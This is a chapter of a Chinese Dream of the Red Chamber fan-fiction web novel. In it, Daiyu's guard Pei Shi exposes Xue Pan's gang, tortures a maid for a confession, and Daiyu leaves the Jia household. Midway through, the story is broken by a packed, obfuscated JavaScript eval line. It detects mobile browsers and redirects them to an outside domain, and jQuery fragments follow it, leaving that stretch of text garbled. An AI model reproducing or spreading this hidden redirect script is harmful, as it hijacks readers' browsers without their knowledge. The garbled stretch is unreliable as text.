137.红烛剪影15
作品:《[红楼]林黛玉倒拔垂杨柳》 黛玉被稳稳放在床榻上,裴石还给她在身后垫了软枕,便直接将手放在黛玉手腕上探脉。
“我……”黛玉气息虚弱,刚要开口。
“别说话,专心呼吸。”他的声音低沉。
黛玉咳息间,淡淡甜甜的血腥气飘散,裴石既要自持,又在心乱如鼓中探寻那虚浮的脉相。
紫娟第一个冲进来,连门都未关便扑到床前。她自然是知道裴石与黛玉的关系,她看见裴石端坐榻边,忙给黛玉掖好被角,低声急问:“我家姑娘如何了?”
裴石眉眼沉凝,心中翻涌着怒意,却仍冷声道:“气急攻心,旧疾复发。叫那对兄妹过来开药。”
两位奶奶和宝玉宝钗他们晚了一步进来,黛玉一见他们,便强撑着坐直,却只能放开抓住衣襟的手,看着裴石远远退至屏风之外。
李纨听罢立即使唤小红去请大夫。紫娟伺候着黛玉喝了几口水,好不容易喘过气来。
黛玉此时还坚持道:“我不管你们说什么,现在府里的下人与我签的工契,不管你们认不认,我都是这家里的主子。”
薛姨妈急道:“你都这样子了!你还说这些做什么啊!”
薛姨妈还是不忍看黛玉这般,宝钗却想着事情就快有转机,继续道:“妹妹你还在病重,进宫前可要好好养着。官府审案迟缓,你等不起,也没必要为此焦心,不如就此算了。”
就在此时,屏风后传来低沉冷厉的声音,打破僵局:“这事,不需要等。”
众人一震,齐齐回首,只见裴石负剑而立,眸中寒芒森然。
“你们还是准备好后事,等官府来叫人吧。”
“你什么意思!”夏金桂尖声质问。
裴石道:“你紫檀堡的打手,已全数送去官府。我们不如看看里面有多少张嘴,够不够给薛蟠定罪。”
薛姨妈怔在当场,魂魄仿佛都被抽走。宝钗却强撑镇定,反驳道:“你不过抓些流民,怎能污蔑我哥哥?官府岂会信!”
“薛蟠曾与贾蓉同流合污,既抢掠贾府,又做山贼强盗。你们在这里听我说,不如等官差来找。到时是流民,还是贼寇,真伪自分。”
夏金桂道:“你信口雌黄!”
薛姨妈一听便软了身子,夏金桂还欲再骂,而宝玉一时不知该不该信,转头问:“宝钗,这是真的吗?”
黛玉坐在榻上,一听至此,便安心地靠在紫娟身上。
她无须再辩,裴石从未让她失望。
裴石懒得多费口舌,扫过众人,道:“几位妨碍我家主子休息已久,还请你们离开。”
宝玉皱眉,盯着他,心底一股说不出的憋闷与不安,他怔怔问:“你是什么人?为何在这里?”
裴石缓缓转身,打量他片刻,抬手做了个懒散的揖,唇角似有讥意:“在下不过是林姑娘的护院。二爷不在时,自是我为林姑娘看家护院。”
不管是谁,都能感受到裴石对宝玉的敌意,甚至是轻蔑。
宝玉神色一变,暗暗戒备。
裴石走到宝玉面前,低头看着这位翩翩公子,覆手道:“你们说的赵姨娘与贾蓉,都是我擒拿的。姑娘心慈,又有家主之义,替二爷担下贾府的血债与祸事。这次我们为贾府抓住了最后的漏网之鱼,往后二爷在府中只管安心便是。”
说者有意,他分明在暗指宝玉无能,靠黛玉与他撑着才有余地。
那轻蔑的眼神是在叫宝玉不快,但他却无从说起,只得道:“我怎么从未见过你?”
“裴某在嶽神庙曾与二爷有一面之缘,只可惜二爷妄信歹人,失了回府的机会。”裴石冷冷收声,退至屏风边,语调淡漠,“在下不过是林姑娘的护卫,过两日也不会留在府中,二爷不必费心认识了。”
宝玉脸色铁青,面前的人言下之意便是他会同黛玉一起离府。
宝玉正要质问,院中忽地传来尖锐的叫喊声,伴着沉重的脚步,几个护卫推门而入,气势不小。
裴石来到床榻前,那眼神一瞬即柔,语调轻了许多:“紫檀堡的山贼都送去府衙了,我的人看着,你好好休息,余下的事不必担心。”
房门合拢,仿佛将内外隔绝成两个世界。
走到回廊,只见院子中央,多姑娘被五花大绑,狼狈地跪在地上。她一见薛家人,急声尖叫:“你们这是做什么!快放我!”
那声音嘶厉刺耳,却压不住院落里笼罩的寒意。
宝钗心头一沉,暗暗明白薛蟠是回天乏术了。
夏金桂却依旧不知死活,厉声应道:“外人占着家业不算,还敢如此折辱客人!”
李纨道:“林姑娘从进府便是这里的主子,你又是什么身份议论我们的家事?”
裴石迟了一会自屋中出来,背后房门“砰”地一声合上,两名护卫立即守在门前。
他站在众人身后,道:“紫檀堡的打手们招认,这多姑娘常与贾蓉等人同行,如今又跟随薛家入府,想来她知道得不少。”
宝钗脸色发白,强撑道:“她到底是府中客人!”
李纨冷冷一笑,截断她的话:“客人?我只记得她是府中下人之妻。何时下人亲眷也能坐到上座,称得一声客人了?”
李纨不仅说的在理,身份也比宝钗高,宝钗立时噎住。
裴石虽能忍耐,却不喜这般人多气息混杂的地方。他下了楼,来到多姑娘面前,他低头看着那女人,问:“姑娘,我家护卫粗手粗脚,不懂怜惜。我瞧姑娘有几分姿色,常在府中男子之间周旋,若哪日容貌花了……未免可惜。”
裴石逼供从来都是拿捏旁人在乎的东西玩弄,这语气看似平淡,却叫人背脊生寒。
多姑娘勃然大怒,声嘶力竭:“你们这是私刑!你凭什么对我动私刑!”
多姑娘对裴石不住谩骂,但是裴石毫不在意。
他甚至懒得解释原由,连眼皮都未抬,只伸手,一把将她身上的麻绳拽起,硬生生往耳房里拖去。
多姑娘的脚磨在青石地上,发出沉闷的声响。
宝玉见状大喊:“住手!”
裴石抬头,眼神冰冷,只扫了他一眼。
“她是女流之辈,你怎可如此待她!”宝玉语带颤意,却硬声喝问。
裴石心中嗤之以鼻,淡淡一抹冷笑,仿佛全然不将他放在眼里,径直拖人入耳房。
不多时,院落响起凄厉的尖叫,从叫骂到哭号,再到撕心裂肺,层层撕裂着夜色。后楼众人,个个听得清清楚楚。
宝玉和宝钗惊慌欲下楼,却被守在楼口的护卫一字拦住。
曹睢冷声道:“裴总领吩咐,二爷与几位奶奶请稍候,很快便能问清。”
夏金桂大吵大嚷,嚷得刺耳,却被压在冷气森森的氛围里显得滑稽。宝玉急得满面涨红,转身恳声对李纨:“大奶奶!这简直荒唐!莫说薛大哥的事尚无实证,怎可纵容私刑,这般匪类行径!”
李纨只是冷眼盯着耳房方向,面色冷硬,未发一言。
“宝玉,你当真以为我和两位身子,靠仁义道德,靠家法有道,便能撑到今日吗?”
忽听屋内一声轻咳,众人回头,宝玉只见黛玉被紫娟搀扶着立在房中。她脸色惨白,却神情宁定,目光微垂。
宝玉急切道:“林妹妹,你向来待下人极好,怎能默许护院这般残忍?”
“那我该如何?”黛玉定定望着他,语气沉静,“劝那些杀人抢掠的流寇放下屠刀?还是跪求府中下人誓死守门?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204086|165789||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
宝玉还要再辩:“我知道世道纷乱,但这不是以暴制暴的理由……”
黛玉轻轻一笑,那笑意中尽是凉薄。
她缓缓回身,走到桌边坐下。黛玉已经熬过了最难的时候,刺客她如同要讲一个无关紧要的故事一般,淡道:“你们只知‘世道艰难’四字,却不知艰难到何处。”
黛玉原是并不想说这些的,“贾府当时已经什么都没有了,可赵姨娘她们仍然没完没了地来府中,杀人,抢物,糟践府中的丫鬟。”
黛玉咳了咳,顿了顿,才慢慢道:你们可知,风卷残云之后,井边、池中、廊下,每一处院子,每一间房间,任何一处地方,都有可能躺着一具尸体。后面我们连将尸体运去义庄都做不到,只能在府中就那么放着。”
两位嫂子,府里的管事,听完都别过了头,不堪回想。
“朝廷抄检,贼寇抢掠,已经是家徒四壁,连月钱都发不出来,下人们见家败时常外逃,便是舅舅让他们看好家门,他们也时常懈怠。”
黛玉问宝玉:“那时候就连林之孝和周瑞都死了,这家里独留下我和大奶奶,你要我们怎么办?”
她的声音并不高,却让所有人心口一紧。
宝玉泪水已涌出,夏金桂见众人不说话,驳道:“我瞧你运走不少东西,哪里有你说的这般难!”
黛玉嗤笑,“我拿林家的家业来为贾府续命,你以为那时候的贾府是什么,是个丢进去一个铜板都听不到响声的无底洞。”
她眼神冷冷落在宝玉身上:“宝玉,无论我怎么守,为什么都能被赵姨娘和贾蓉他们破府而入?府里的下人,多的是等着我们这些主子被人害死,好干干净净地霸占贾府。”
宝玉与她两人曾在最美好的大观园里耳鬓厮磨,看花开似锦,为花落背弃。
若是可以,她也想一直天真浪漫地活着,可她父母早丧,寄人篱下,到如今家败人亡,为旁人苦苦求索,她的命运自始至终徒有悲剧。
平儿说要她管家时,她曾想自己也是要强的性子,也想得人赞语。有了宝二奶奶的身份,便不再是无依无靠,贾府便不再是她从前他家依栖,只想远走高飞的是非泥潭。
可如今,昔人不再,唯余物是人非,但她也从繁华似梦中清醒了。
“宝玉,你为何还能如此天真?”
院子里,耳房的惨叫渐渐转为哭喊求饶。
多姑娘手脚都动弹不得了,她只能被吊在梁上。
她知道的事不多,却足够详细的知道有谁在这张密不透风的罗网之中。
赵姨娘贾环、贾蓉贾蔷、薛蟠冷子兴柳湘莲、甚至连大观园中的十二戏子,巧姐的亲舅舅。
黛玉看着官府的人将多姑娘带走,甚至还有从紫檀堡来的所有人,还有宝玉。众人或震惊、或恐惧、或悲愤,但他们所感,远不及黛玉当年亲历的万分之一。
在贾府被绝望凌迟之前,她原以为能与少年一同看四季更迭,花开花落,终老一生。
可来时是客,终需一别。
如今报了贾府的养育之恩,她与宝玉虽无缘,但她问心无愧。
往后贾府的兴衰荣辱,从此与她无关。
薛蟠连着冷子兴,多姑娘都下了牢狱。
此事被薛蟠一人顶下,宝玉和宝钗都没事,薛姨妈则一下子病了。
宫里派了马车来接人的时候,来送黛玉的人很少,就如同从前她到贾府时,来接的都是些婆子。
黛玉抬眼看着从前匾额不在,终是低下头叹气。
黛玉从袖中掏出两片半旧的帕子,递给周瑞家的。
“你帮我还与宝二爷,望他保重。”
说罢,临去回头一望,便上了车,离开了贾府。

